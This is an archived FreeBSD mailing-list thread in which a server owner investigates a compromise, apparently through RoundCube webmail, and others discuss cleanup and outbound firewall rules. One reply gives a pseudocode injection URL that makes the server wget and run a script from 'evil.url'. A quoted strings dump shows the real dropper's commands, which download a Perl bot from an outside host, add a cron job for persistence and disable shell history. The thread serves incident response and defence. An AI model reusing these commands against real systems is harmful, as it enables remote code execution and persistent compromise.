Re: what www perl script is running?
Hi Colin.
I thought I'd just add my tuppence here. Some time ago I suffered a
similar exploit, albeit on a Linux box, with Apache and a different
PHP web app (Horde if I recall correctly).
There are a number of ways your server could have been comprised via a
PHP webapp, and a mailling list probably isn't the best place to give
you a tutorial on the likes of cross-site scripting and code injection.
What I can do is tell you roughly how my site was infected via a code
injection - to give you an idea of how important it is to learn more
about it if you are running a webserver (espescially one with third
party web apps installed).
In my case, I was able to learn quite a bit about how the exploit was
performed by looking in my Apache logs. Primarily because the attack
exploited an HTTP GET variable, so I could actually grep the name of
the script that was download from the logs. Basically all it took was
for someone to construct a URL similar to the following*:
http://www.myserver.com/vulnerable_script.php?unchecked_variable="some_value;
exec('wget http://evil.url/virus.pl -O /tmp/virus.pl');
exec('/tmp/virus.pl')";
All it needs then is a bit of code on the server side which uses the
GET variable verbatum to build a line of code without checking the
variable. If the above variable were used in the construction of a
line of PHP, in an (extra) unsafe manner, you would end up with
several lines of PHP. Clearly building code from a user supplied
variable is a very bad idea, and doing so without checking the
variable... - however it isn't unheard of in the world of third
party web apps (it isn't unheard of in in-house web apps either,
however because that are not so widespread there is less chance
that the exploit will be found, and probably less to gain from
exploiting it).
The attack against your server was almost certainly automated and most
likely not even targetted at you. If you check your error logs, you
will probably see lots of 'file not found' and similar errors, testing
for vulnerabilities in ASP scripts and PHP web apps which you don't
have installed - in much the same way that you will have SSH login
failures for users who don't exist on your system.
Using an incoming and outgoing firewall is clearly a must on a
dedicated web server. Running an outgoing server on your desktop is
a bit more complicated as you would probably want to allow certain
applications to setup outgoing connections. I don't know how you
do this on a FreeBSD system.
However something that no one seems to have mentioned yet is running
an application level firewall to protect your web server, this is
particularly important if you are running popular third party web
applications. Once a flaw has been found in a popular web app, it is
very easily for the malware writers to attempt to exploit this on
thousands of webservers. A web application firewall, such as
Mod_Security for Apache (not sure what is available for lighttpd),
will check the traffic to your HTTP server for any irregularities,
known exploits and potential exploits.
HTH
Jeremy
* the URL I wrote probably isn't even valid, it is just a
demonstration, so just treat it as psuedocode.
2009/8/27 Colin Brace :
>
>
> Colin Brace wrote:
>>
>> ah, another directory found in /tmp with files written by www called
>> .bash/ Contents here:
>>
>> http://silenceisdefeat.com/~cbrace/www_badstuff-3.gz
>>
> Apropos of the contents of the above, a correspondent writes:
>
> [...]
> running 'strings' on /tmp/owned will show
> "HISTFILE=/dev/null
> cd /tmp;curl -s -O http://www.tirnaveni.org/tmpfile 2>&1 >/dev/null
> cd /tmp;wget -b http://www.tirnaveni.org/tmpfile 2>&1 >/dev/null
> echo '*/1 * * * * perl /tmp/tmpfile' >cron.job
> crontab cron.job
> rm -rf cron.job
> chmod 0100 /tmp/tmpfile 2>&1 >/dev/null
> perl /tmp/tmpfile 2>&1 >/dev/null"
> [...]
>
> So this would be the original mischief-maker.
>
> Just out of curiousity, can someone explain to me in basic terms how an
> intruder exploits a vulnerability such as apparently existed on my system
> (the RoundCube webmail package was apparently the culprit) to place the
> binary file "owned" in /tmp and execute it?
>
> Thanks
>
> -
> Colin Brace
> Amsterdam
> http://lim.nl
> --
> View this message in context:
> http://www.nabble.com/what-www-perl-script-is-running--tp25112050p25167487.html
> Sent from the freebsd-questions mailing list archive at Nabble.com.
>
> ___
> freebsd-questions@freebsd.org mailing list
> http://lists.freebsd.org/mailman/listinfo/freebsd-questions
> To unsubscribe, send any mail to "freebsd-questions-unsubscr...@freebsd.org"
>
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to "freebsd-questions-unsubscr...@freebsd.org"
Re: what www perl script is running?
Colin Brace wrote: > > ah, another directory found in /tmp with files written by www called > .bash/ Contents here: > > http://silenceisdefeat.com/~cbrace/www_badstuff-3.gz > Apropos of the contents of the above, a correspondent writes: [...] running 'strings' on /tmp/owned will show "HISTFILE=/dev/null cd /tmp;curl -s -O http://www.tirnaveni.org/tmpfile 2>&1 >/dev/null cd /tmp;wget -b http://www.tirnaveni.org/tmpfile 2>&1 >/dev/null echo '*/1 * * * * perl /tmp/tmpfile' >cron.job crontab cron.job rm -rf cron.job chmod 0100 /tmp/tmpfile 2>&1 >/dev/null perl /tmp/tmpfile 2>&1 >/dev/null" [...] So this would be the original mischief-maker. Just out of curiousity, can someone explain to me in basic terms how an intruder exploits a vulnerability such as apparently existed on my system (the RoundCube webmail package was apparently the culprit) to place the binary file "owned" in /tmp and execute it? Thanks - Colin Brace Amsterdam http://lim.nl -- View this message in context: http://www.nabble.com/what-www-perl-script-is-running--tp25112050p25167487.html Sent from the freebsd-questions mailing list archive at Nabble.com. ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to "freebsd-questions-unsubscr...@freebsd.org"
Re: what www perl script is running?
Jonathan McKeown wrote: > On Wednesday 26 August 2009 15:44:41 Adam Vande More wrote: > > [450 lines including multiple signatures and twelve levels of quoting, all to > say:] > >> Specifically what am I confused on? Or are you just going to continue >> with the personal attacks? You've offered no technical rebuttal, simply >> insults. > > Please, take it to email - or at least learn to trim (ideally both). No, please keep it on the list. I really, really want to see what concensus you reach. :-) ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to "freebsd-questions-unsubscr...@freebsd.org"
Re: what www perl script is running?
On Wednesday 26 August 2009 15:44:41 Adam Vande More wrote: [450 lines including multiple signatures and twelve levels of quoting, all to say:] > Specifically what am I confused on? Or are you just going to continue > with the personal attacks? You've offered no technical rebuttal, simply > insults. Please, take it to email - or at least learn to trim (ideally both). ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to "freebsd-questions-unsubscr...@freebsd.org"
Re: what www perl script is running?
On Wed, Aug 26, 2009 at 8:30 AM, Bill Moran wrote: > In response to Adam Vande More : > > > On Wed, Aug 26, 2009 at 7:11 AM, Bill Moran >wrote: > > > > > Adam Vande More wrote: > > > > > > > > On Tue, Aug 25, 2009 at 2:43 PM, Bill Moran < > wmo...@potentialtech.com > > > >wrote: > > > > > > > > > In response to Adam Vande More : > > > > > > > > > > > On Tue, Aug 25, 2009 at 12:06 PM, Bill Moran < > > > wmo...@potentialtech.com > > > > > >wrote: > > > > > > > > > > > > > In response to Adam Vande More : > > > > > > > > > > > > > > > On Tue, Aug 25, 2009 at 11:05 AM, Bill Moran < > > > > > wmo...@potentialtech.com > > > > > > > >wrote: > > > > > > > > > > > > > > > > > In response to Paul Schmehl : > > > > > > > > > > > > > > > > > > > --On Tuesday, August 25, 2009 08:30:17 -0500 Colin Brace > < > > > > > c...@lim.nl> > > > > > > > > > wrote: > > > > > > > > > > > > > > > > > > > > > Bill Moran wrote: > > > > > > > > > > >> > > > > > > > > > > >> You can add an ipfw rule to prevent the script from > > > calling > > > > > home, > > > > > > > > > which > > > > > > > > > > >> will effectively render it neutered until you can > track > > > down > > > > > and > > > > > > > > > actually > > > > > > > > > > >> _fix_ the problem. > > > > > > > > > > > > > > > > > > > > > > Mike Bristow above wrote: "The script is talking to > > > > > 94.102.51.57 on > > > > > > > > > port > > > > > > > > > > > 7000". OK, so I how do I know what port the script is > using > > > for > > > > > > > > > outgoing > > > > > > > > > > > traffic on MY box? 7000 is the remote host port, right? > > > > > > > > > > > > > > > > > > > > > > FWIW, here are my core PF lines: > > > > > > > > > > > > > > > > > > > > > > pass out quick on $ext_if proto 41 > > > > > > > > > > > pass out quick on gif0 inet6 > > > > > > > > > > > pass in quick on gif0 inet6 proto icmp6 > > > > > > > > > > > block in log > > > > > > > > > > > > > > > > > > > > > > That is to say: nothing is allowed in unless explicitly > > > allowed > > > > > > > > > > > Everything allowed out. > > > > > > > > > > > (plus some ipv6 stuff I was testing with a tunnel) > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > > The problem with blocking outbound ports is that it > breaks > > > things > > > > > in > > > > > > > odd > > > > > > > > > ways. > > > > > > > > > > For example, your mail server listens on port 25 (and > > > possibly > > > > > 465 as > > > > > > > > > well) but > > > > > > > > > > it communicates with connecting clients on whatever > ethereal > > > port > > > > > the > > > > > > > > > client > > > > > > > > > > decided to use. If the port the client selects happens > to be > > > in > > > > > a > > > > > > > range > > > > > > > > > that > > > > > > > > > > you are blocking, communication will be impossible and > the > > > client > > > > > > > will > > > > > > > > > report > > > > > > > > > > that your mail server is non-responsive. > > > > > > > > > > > > > > > > > > You're doing it wrong. Block on the destination port > _only_ > > > and > > > > > you > > > > > > > don't > > > > > > > > > care about the ephemeral ports. > > > > > > > > > > > > > > > > What ports would you block then when you're trying to run a > > > > > webserver? > > > > > > > > > > > > > > My point (which is presented in examples below) is that you > block > > > > > > > everything > > > > > > > and only allow what is needed (usually only dns and ntp, > possibly > > > smtp > > > > > if > > > > > > > the web server needs to send mail) > > > > > > > > > > > > > > That single statement above was directed specifically at the > > > comment > > > > > about > > > > > > > it being impossible to predict (and thus block) ephemeral > source > > > ports. > > > > > > > He's > > > > > > > right about that, and that's why filtering on the destination > port > > > is > > > > > the > > > > > > > more common practice. > > > > > > > > > > > > > > Of course, that caused me to create an email that seems to > > > contradict > > > > > > > itself, if you don't notice that it's two answers to two > different > > > > > > > comments. > > > > > > > > > > > > My point was that it's unfeasible to block by destination point. > You > > > can > > > > > > only block by destination port if it's a known quantity, and the > > > > > destination > > > > > > port is ephemeral in the question I posed(which what the OP had > an > > > issue > > > > > > with). > > > > > > > > > > Please read the entire email before you respond. My last example > below > > > > > demonstrates how to do what you call "unfeasible". > > > > > > > > > > > > > > > It's much easier to block outgoing ports for services you > > > *don't* > > > > > > > want to > > > > > > > > > > offer, but, if the service isn't running anyway, blocking > the > > > > > port is > > > > > > > > > > non-productive. > > > > > > > > > > > > > > > > > > You're obviously misunderstanding me completely. Your not > > > blocking > > > > > > > > > incoming > > > > > > > > > connections,
Re: what www perl script is running?
In response to Adam Vande More :
> On Wed, Aug 26, 2009 at 7:11 AM, Bill Moran wrote:
>
> > Adam Vande More wrote:
> > >
> > > On Tue, Aug 25, 2009 at 2:43 PM, Bill Moran > >wrote:
> > >
> > > > In response to Adam Vande More :
> > > >
> > > > > On Tue, Aug 25, 2009 at 12:06 PM, Bill Moran <
> > wmo...@potentialtech.com
> > > > >wrote:
> > > > >
> > > > > > In response to Adam Vande More :
> > > > > >
> > > > > > > On Tue, Aug 25, 2009 at 11:05 AM, Bill Moran <
> > > > wmo...@potentialtech.com
> > > > > > >wrote:
> > > > > > >
> > > > > > > > In response to Paul Schmehl :
> > > > > > > >
> > > > > > > > > --On Tuesday, August 25, 2009 08:30:17 -0500 Colin Brace <
> > > > c...@lim.nl>
> > > > > > > > wrote:
> > > > > > > > >
> > > > > > > > > > Bill Moran wrote:
> > > > > > > > > >>
> > > > > > > > > >> You can add an ipfw rule to prevent the script from
> > calling
> > > > home,
> > > > > > > > which
> > > > > > > > > >> will effectively render it neutered until you can track
> > down
> > > > and
> > > > > > > > actually
> > > > > > > > > >> _fix_ the problem.
> > > > > > > > > >
> > > > > > > > > > Mike Bristow above wrote: "The script is talking to
> > > > 94.102.51.57 on
> > > > > > > > port
> > > > > > > > > > 7000". OK, so I how do I know what port the script is using
> > for
> > > > > > > > outgoing
> > > > > > > > > > traffic on MY box? 7000 is the remote host port, right?
> > > > > > > > > >
> > > > > > > > > > FWIW, here are my core PF lines:
> > > > > > > > > >
> > > > > > > > > > pass out quick on $ext_if proto 41
> > > > > > > > > > pass out quick on gif0 inet6
> > > > > > > > > > pass in quick on gif0 inet6 proto icmp6
> > > > > > > > > > block in log
> > > > > > > > > >
> > > > > > > > > > That is to say: nothing is allowed in unless explicitly
> > allowed
> > > > > > > > > > Everything allowed out.
> > > > > > > > > > (plus some ipv6 stuff I was testing with a tunnel)
> > > > > > > > > >
> > > > > > > > >
> > > > > > > > > The problem with blocking outbound ports is that it breaks
> > things
> > > > in
> > > > > > odd
> > > > > > > > ways.
> > > > > > > > > For example, your mail server listens on port 25 (and
> > possibly
> > > > 465 as
> > > > > > > > well) but
> > > > > > > > > it communicates with connecting clients on whatever ethereal
> > port
> > > > the
> > > > > > > > client
> > > > > > > > > decided to use. If the port the client selects happens to be
> > in
> > > > a
> > > > > > range
> > > > > > > > that
> > > > > > > > > you are blocking, communication will be impossible and the
> > client
> > > > > > will
> > > > > > > > report
> > > > > > > > > that your mail server is non-responsive.
> > > > > > > >
> > > > > > > > You're doing it wrong. Block on the destination port _only_
> > and
> > > > you
> > > > > > don't
> > > > > > > > care about the ephemeral ports.
> > > > > > >
> > > > > > > What ports would you block then when you're trying to run a
> > > > webserver?
> > > > > >
> > > > > > My point (which is presented in examples below) is that you block
> > > > > > everything
> > > > > > and only allow what is needed (usually only dns and ntp, possibly
> > smtp
> > > > if
> > > > > > the web server needs to send mail)
> > > > > >
> > > > > > That single statement above was directed specifically at the
> > comment
> > > > about
> > > > > > it being impossible to predict (and thus block) ephemeral source
> > ports.
> > > > > > He's
> > > > > > right about that, and that's why filtering on the destination port
> > is
> > > > the
> > > > > > more common practice.
> > > > > >
> > > > > > Of course, that caused me to create an email that seems to
> > contradict
> > > > > > itself, if you don't notice that it's two answers to two different
> > > > > > comments.
> > > > >
> > > > > My point was that it's unfeasible to block by destination point. You
> > can
> > > > > only block by destination port if it's a known quantity, and the
> > > > destination
> > > > > port is ephemeral in the question I posed(which what the OP had an
> > issue
> > > > > with).
> > > >
> > > > Please read the entire email before you respond. My last example below
> > > > demonstrates how to do what you call "unfeasible".
> > > >
> > > > > > > > > It's much easier to block outgoing ports for services you
> > *don't*
> > > > > > want to
> > > > > > > > > offer, but, if the service isn't running anyway, blocking the
> > > > port is
> > > > > > > > > non-productive.
> > > > > > > >
> > > > > > > > You're obviously misunderstanding me completely. Your not
> > blocking
> > > > > > > > incoming
> > > > > > > > connections, your preventing outgoing ones, which means there
> > _is_
> > > > no
> > > > > > > > service running on your local machine.
> > > > > > > >
> > > > > > > > For example, a server that is _only_ web (with SSH for admin)
> > could
> > > > > > have
> > > > > > > > a ruleset like:
> > > > > > > >
> > > > > > > > pass in quick on $ext_if proto tcp from any to me port
> > > > {25,587,465,22}
> >
Re: what www perl script is running?
On Wed, Aug 26, 2009 at 7:11 AM, Bill Moran wrote:
> Adam Vande More wrote:
> >
> > On Tue, Aug 25, 2009 at 2:43 PM, Bill Moran >wrote:
> >
> > > In response to Adam Vande More :
> > >
> > > > On Tue, Aug 25, 2009 at 12:06 PM, Bill Moran <
> wmo...@potentialtech.com
> > > >wrote:
> > > >
> > > > > In response to Adam Vande More :
> > > > >
> > > > > > On Tue, Aug 25, 2009 at 11:05 AM, Bill Moran <
> > > wmo...@potentialtech.com
> > > > > >wrote:
> > > > > >
> > > > > > > In response to Paul Schmehl :
> > > > > > >
> > > > > > > > --On Tuesday, August 25, 2009 08:30:17 -0500 Colin Brace <
> > > c...@lim.nl>
> > > > > > > wrote:
> > > > > > > >
> > > > > > > > > Bill Moran wrote:
> > > > > > > > >>
> > > > > > > > >> You can add an ipfw rule to prevent the script from
> calling
> > > home,
> > > > > > > which
> > > > > > > > >> will effectively render it neutered until you can track
> down
> > > and
> > > > > > > actually
> > > > > > > > >> _fix_ the problem.
> > > > > > > > >
> > > > > > > > > Mike Bristow above wrote: "The script is talking to
> > > 94.102.51.57 on
> > > > > > > port
> > > > > > > > > 7000". OK, so I how do I know what port the script is using
> for
> > > > > > > outgoing
> > > > > > > > > traffic on MY box? 7000 is the remote host port, right?
> > > > > > > > >
> > > > > > > > > FWIW, here are my core PF lines:
> > > > > > > > >
> > > > > > > > > pass out quick on $ext_if proto 41
> > > > > > > > > pass out quick on gif0 inet6
> > > > > > > > > pass in quick on gif0 inet6 proto icmp6
> > > > > > > > > block in log
> > > > > > > > >
> > > > > > > > > That is to say: nothing is allowed in unless explicitly
> allowed
> > > > > > > > > Everything allowed out.
> > > > > > > > > (plus some ipv6 stuff I was testing with a tunnel)
> > > > > > > > >
> > > > > > > >
> > > > > > > > The problem with blocking outbound ports is that it breaks
> things
> > > in
> > > > > odd
> > > > > > > ways.
> > > > > > > > For example, your mail server listens on port 25 (and
> possibly
> > > 465 as
> > > > > > > well) but
> > > > > > > > it communicates with connecting clients on whatever ethereal
> port
> > > the
> > > > > > > client
> > > > > > > > decided to use. If the port the client selects happens to be
> in
> > > a
> > > > > range
> > > > > > > that
> > > > > > > > you are blocking, communication will be impossible and the
> client
> > > > > will
> > > > > > > report
> > > > > > > > that your mail server is non-responsive.
> > > > > > >
> > > > > > > You're doing it wrong. Block on the destination port _only_
> and
> > > you
> > > > > don't
> > > > > > > care about the ephemeral ports.
> > > > > >
> > > > > > What ports would you block then when you're trying to run a
> > > webserver?
> > > > >
> > > > > My point (which is presented in examples below) is that you block
> > > > > everything
> > > > > and only allow what is needed (usually only dns and ntp, possibly
> smtp
> > > if
> > > > > the web server needs to send mail)
> > > > >
> > > > > That single statement above was directed specifically at the
> comment
> > > about
> > > > > it being impossible to predict (and thus block) ephemeral source
> ports.
> > > > > He's
> > > > > right about that, and that's why filtering on the destination port
> is
> > > the
> > > > > more common practice.
> > > > >
> > > > > Of course, that caused me to create an email that seems to
> contradict
> > > > > itself, if you don't notice that it's two answers to two different
> > > > > comments.
> > > >
> > > > My point was that it's unfeasible to block by destination point. You
> can
> > > > only block by destination port if it's a known quantity, and the
> > > destination
> > > > port is ephemeral in the question I posed(which what the OP had an
> issue
> > > > with).
> > >
> > > Please read the entire email before you respond. My last example below
> > > demonstrates how to do what you call "unfeasible".
> > >
> > > > > > > > It's much easier to block outgoing ports for services you
> *don't*
> > > > > want to
> > > > > > > > offer, but, if the service isn't running anyway, blocking the
> > > port is
> > > > > > > > non-productive.
> > > > > > >
> > > > > > > You're obviously misunderstanding me completely. Your not
> blocking
> > > > > > > incoming
> > > > > > > connections, your preventing outgoing ones, which means there
> _is_
> > > no
> > > > > > > service running on your local machine.
> > > > > > >
> > > > > > > For example, a server that is _only_ web (with SSH for admin)
> could
> > > > > have
> > > > > > > a ruleset like:
> > > > > > >
> > > > > > > pass in quick on $ext_if proto tcp from any to me port
> > > {25,587,465,22}
> > > > > keep
> > > > > > > state
> > > > > > > pass out quick on $ext_if proto tcp from me to any port {25}
> keep
> > > state
> > > > > > > pass out quick on $ext_if proto upd from me to any port
> {53,123}
> > > keep
> > > > > state
> > > > > > > block all
> > > > > > >
> > > > > > > (note that's only an example, there may be
Re: what www perl script is running?
Adam Vande More wrote:
>
> On Tue, Aug 25, 2009 at 2:43 PM, Bill Moran wrote:
>
> > In response to Adam Vande More :
> >
> > > On Tue, Aug 25, 2009 at 12:06 PM, Bill Moran > >wrote:
> > >
> > > > In response to Adam Vande More :
> > > >
> > > > > On Tue, Aug 25, 2009 at 11:05 AM, Bill Moran <
> > wmo...@potentialtech.com
> > > > >wrote:
> > > > >
> > > > > > In response to Paul Schmehl :
> > > > > >
> > > > > > > --On Tuesday, August 25, 2009 08:30:17 -0500 Colin Brace <
> > c...@lim.nl>
> > > > > > wrote:
> > > > > > >
> > > > > > > > Bill Moran wrote:
> > > > > > > >>
> > > > > > > >> You can add an ipfw rule to prevent the script from calling
> > home,
> > > > > > which
> > > > > > > >> will effectively render it neutered until you can track down
> > and
> > > > > > actually
> > > > > > > >> _fix_ the problem.
> > > > > > > >
> > > > > > > > Mike Bristow above wrote: "The script is talking to
> > 94.102.51.57 on
> > > > > > port
> > > > > > > > 7000". OK, so I how do I know what port the script is using for
> > > > > > outgoing
> > > > > > > > traffic on MY box? 7000 is the remote host port, right?
> > > > > > > >
> > > > > > > > FWIW, here are my core PF lines:
> > > > > > > >
> > > > > > > > pass out quick on $ext_if proto 41
> > > > > > > > pass out quick on gif0 inet6
> > > > > > > > pass in quick on gif0 inet6 proto icmp6
> > > > > > > > block in log
> > > > > > > >
> > > > > > > > That is to say: nothing is allowed in unless explicitly allowed
> > > > > > > > Everything allowed out.
> > > > > > > > (plus some ipv6 stuff I was testing with a tunnel)
> > > > > > > >
> > > > > > >
> > > > > > > The problem with blocking outbound ports is that it breaks things
> > in
> > > > odd
> > > > > > ways.
> > > > > > > For example, your mail server listens on port 25 (and possibly
> > 465 as
> > > > > > well) but
> > > > > > > it communicates with connecting clients on whatever ethereal port
> > the
> > > > > > client
> > > > > > > decided to use. If the port the client selects happens to be in
> > a
> > > > range
> > > > > > that
> > > > > > > you are blocking, communication will be impossible and the client
> > > > will
> > > > > > report
> > > > > > > that your mail server is non-responsive.
> > > > > >
> > > > > > You're doing it wrong. Block on the destination port _only_ and
> > you
> > > > don't
> > > > > > care about the ephemeral ports.
> > > > >
> > > > > What ports would you block then when you're trying to run a
> > webserver?
> > > >
> > > > My point (which is presented in examples below) is that you block
> > > > everything
> > > > and only allow what is needed (usually only dns and ntp, possibly smtp
> > if
> > > > the web server needs to send mail)
> > > >
> > > > That single statement above was directed specifically at the comment
> > about
> > > > it being impossible to predict (and thus block) ephemeral source ports.
> > > > He's
> > > > right about that, and that's why filtering on the destination port is
> > the
> > > > more common practice.
> > > >
> > > > Of course, that caused me to create an email that seems to contradict
> > > > itself, if you don't notice that it's two answers to two different
> > > > comments.
> > >
> > > My point was that it's unfeasible to block by destination point. You can
> > > only block by destination port if it's a known quantity, and the
> > destination
> > > port is ephemeral in the question I posed(which what the OP had an issue
> > > with).
> >
> > Please read the entire email before you respond. My last example below
> > demonstrates how to do what you call "unfeasible".
> >
> > > > > > > It's much easier to block outgoing ports for services you *don't*
> > > > want to
> > > > > > > offer, but, if the service isn't running anyway, blocking the
> > port is
> > > > > > > non-productive.
> > > > > >
> > > > > > You're obviously misunderstanding me completely. Your not blocking
> > > > > > incoming
> > > > > > connections, your preventing outgoing ones, which means there _is_
> > no
> > > > > > service running on your local machine.
> > > > > >
> > > > > > For example, a server that is _only_ web (with SSH for admin) could
> > > > have
> > > > > > a ruleset like:
> > > > > >
> > > > > > pass in quick on $ext_if proto tcp from any to me port
> > {25,587,465,22}
> > > > keep
> > > > > > state
> > > > > > pass out quick on $ext_if proto tcp from me to any port {25} keep
> > state
> > > > > > pass out quick on $ext_if proto upd from me to any port {53,123}
> > keep
> > > > state
> > > > > > block all
> > > > > >
> > > > > > (note that's only an example, there may be some fine points I'm
> > > > missing)
> > > > > >
> > > > > > One thing that had not yet been mentioned when I posted my earlier
> > > > comment,
> > > > > > is that this system is a combination firewall/web server. That
> > makes
> > > > the
> > > > > > rules more complicated, but the setup is still possible:
> > > > > >
> > > > > > pass in quick on $ext_if proto tcp from any to me port {
Re: what www perl script is running?
Colin Brace wrote: > > > CyberLeo Kitsana wrote: >> >> Are these files available in a tarball someplace public, for those of us >> who enjoy performing autopsies on virii? > ah, another directory found in /tmp with files written by www called .bash/ Contents here: http://silenceisdefeat.com/~cbrace/www_badstuff-3.gz Sorry about the multiple tarballs. - Colin Brace Amsterdam http://lim.nl -- View this message in context: http://www.nabble.com/what-www-perl-script-is-running--tp25112050p25149559.html Sent from the freebsd-questions mailing list archive at Nabble.com. ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to "freebsd-questions-unsubscr...@freebsd.org"
Re: what www perl script is running?
Colin Brace wrote: > > > CyberLeo Kitsana wrote: >> >> Are these files available in a tarball someplace public, for those of us >> who enjoy performing autopsies on virii? > > Sure thing: http://silenceisdefeat.com/~cbrace/www_badstuff.gz > > this tarball contains "tmpfile" which is the misbehaving script as well as > the contents of a directory called ".," which has a bunch of source code > and so on. As indicated earlier, this stuff was installed by user 'www'. > > It should be unpacked in an empty directory. Oops, I missed six more files written by www to /tmp. Here they are: http://silenceisdefeat.com/~cbrace/www_badstuff-2.gz - Colin Brace Amsterdam http://lim.nl -- View this message in context: http://www.nabble.com/what-www-perl-script-is-running--tp25112050p25149271.html Sent from the freebsd-questions mailing list archive at Nabble.com. ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to "freebsd-questions-unsubscr...@freebsd.org"
Re: what www perl script is running?
Steve Bertrand said the following on 08/26/2009 01:33 AM: In this case, OP, look for: - directories named as such: -- ... -- . .. -- . . -- etc, particularly under: -- /var/tmp -- /tmp -- or anywhere else the [gu]id of the webserver could possibly write to Thanks for the comments, Steve. This has indeed been the case here: there was a bunch of files installed by user 'www' (the webserver) in a directory called ".," in /tmp ; the script itself was in /tmp Someone has suggested to me that the vulnerability might have been in the RoundCube webmail package which I had installed: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0413 "Cross-site scripting (XSS) vulnerability in RoundCube Webmail (roundcubemail) 0.2 stable allows remote attackers to inject arbitrary web script or HTML via the background attribute embedded in an HTML e-mail message." -- Colin Brace Amsterdam http://www.lim.nl ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to "freebsd-questions-unsubscr...@freebsd.org"
Re: what www perl script is running?
Colin, Be aware that what you listed below is what additional scripts the hacker installed on your server after he broke in. This does not tell you hwo the hacker broke in. So your server is still subject to compromission. Bests, olivier >> Try a find through the entire filesystem for files owned by this user that >> you can't account for. Also check your cron and at files under /var/cron >> and >> /var/at >> > > I found the cronjob which keeps restarting the script: > > [r...@venus /var/cron/tabs]# ls -l > total 12 > -rw--- 1 root wheel 3440 Aug 25 12:06 colin > -rw--- 1 root wheel 240 Jul 28 23:49 www > > [r...@venus /var/cron/tabs]# cat www > # DO NOT EDIT THIS FILE - edit the master and reinstall. > # (cron.job installed on Tue Jul 28 23:49:28 2009) > # (Cron version -- $FreeBSD: src/usr.sbin/cron/crontab/crontab.c,v 1.24 > 2006/09/03 17:52:19 ru Exp $) > */1 * * * * perl /tmp/tmpfile > > I removed it, so now at least the script stops relaunching. > > /tmp/tmpfile is of course the script. > > In a subdirectory of tmp, there is a whole bunch of source code, all owned > by 'www': > > /tmp/.,]# ls -l > total 5692 > -rw-r--r-- 1 www wheel 2844160 Mar 27 10:00 m.tgz > drwxr-xr-x 4 www wheel 512 Nov 10 2008 ml > -rw-r--r-- 1 www wheel43419 May 27 23:22 scanxml.txt > > ]# ls -l ml > total 3208 > -rwxr-xr-x 1 www wheel 411 Mar 27 09:57 1.user > -rwxr-xr-x 1 www wheel 422 Mar 27 09:57 2.user > -rwxr-xr-x 1 www wheel 505767 Aug 3 2008 LinkEvents > -rwxr-xr-x 1 www wheel2154 May 16 2003 Makefile > -rwx--x--x 1 www wheel 418490 Dec 3 2005 bsd > -rwxr-xr-x 1 www wheel 941 Dec 3 2005 checkmech > -rwxr-xr-x 1 www wheel 23237 May 16 2003 configure > -rwx--x--x 1 www wheel 397274 Dec 3 2005 crond > -rwxr-xr-x 1 www wheel 22882 May 16 2003 m.h > -rwxr-xr-x 1 www wheel1054 Aug 3 2008 m.lev > -rwx--x--x 1 www wheel 6 May 25 2008 m.pid > -rwxr-xr-x 1 www wheel1320 Mar 27 09:56 m.set > -rwxr-xr-x 1 www wheel 10240 Nov 10 2008 m.tgz > -rwxr-xr-x 1 www wheel 167964 Mar 16 2001 pico > drwxr-xr-x 2 www wheel 512 Mar 4 2005 r > drwxr-xr-x 2 www wheel1024 Dec 3 2005 src > > If anyone is interested in looking at this stuff, or wants more info, please > let me know. ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to "freebsd-questions-unsubscr...@freebsd.org"
Re: what www perl script is running?
Adam Vande More wrote: [ huge, huge snip ] > You said block by destination port. What you presented is not this, > although it gives give a functional environment of it. Sorry for the > pedantic pursuit here, but IMO terminology is important here. I've read this thread on a 'best-effort' basis throughout the day. Although I can *personally* translate what Bill's excellent feedback is saying into functional protection, I have to say that your statement quoted was the 'politically correct' way to express it. We've (ie: I've) been compromised in the past (several times), and experience based on having an installed Perl-based httpd program tells me thus: - it is likely a PHP script that was the root cause - it is likely that the script had access to a MySQL database - bulletin boards, mailer apps and blog software was often the culprit - it's a common hack, the Perl code that is installed can be downloaded anywhere We have a multi-site hosting environment, so we see things like this from time-to-time. I can't remember for sure if it was this list or not, but I know I've posted "what to look for" someplace. In this case, OP, look for: - directories named as such: -- ... -- . .. -- . . -- etc, particularly under: -- /var/tmp -- /tmp -- or anywhere else the [gu]id of the webserver could possibly write to There are other similar problems that are prevalent out there that someone running a web server may run into (one I've seen recently). It inserts HTML redirects into files (or directly into a MySQL table, in situations where links are generated dynamically) that direct the browser to foreign pages (presumably so that the browser will inadvertently download rogue programs into the visiting computer). This has had the effect of having Google block the page, and for client relations, it doesn't look good. Any time we've seen this, we refer the client to their web developer for assistance (heh). This such infection has noticeably been caused by server-side PDF management software, and a specific PHP video management software. We've never found that such 'kiddie/automated' hacks tried to manipulate or steal any information directly/initially, even after reviewing the code. With that said, I firmly agree with Bill that you should/must replace all passwords both on the Unix side of things, as well as within MySQL. tcpdump(1) is your friend. On the firewall side of things... I am on the fence with both Paul and Bill's comments as to whether having protection on each machine is a bonus or a failure. This really depends... and it depends on the environment which and where the box is logically attached. Given that I'm in an ISP environment, I don't want to manage ACLs for web servers on my network edge routers, so it's best that I contain them locally to the hosted web box itself. In other cases (such as an enterprise environment), it would be easier to manage such ACLs at the network perimeter. For a home box, a firewall-per-box may lead to better understanding and experience. What I haven't read in this thread so far is the term 'state', relative to stack protection. For instance, if I were to: % ipfw add 10 allow all from any to me 80 keep-state % ipfw add 15 deny all from any to any ... it would dynamically allow all requests to my web server (fw running on the host itself), would allow all responses back to the client (regardless of the port they used to send the request (because of state)), but it would deny everything and anything else, inbound and outbound. Note that in heavy environments that keeping state can have it's own detrimental drawbacks, which there is no need to get into here. These drawbacks are generally why one might decide not to block everything at the network edge, but on the box itself. Steve smime.p7s Description: 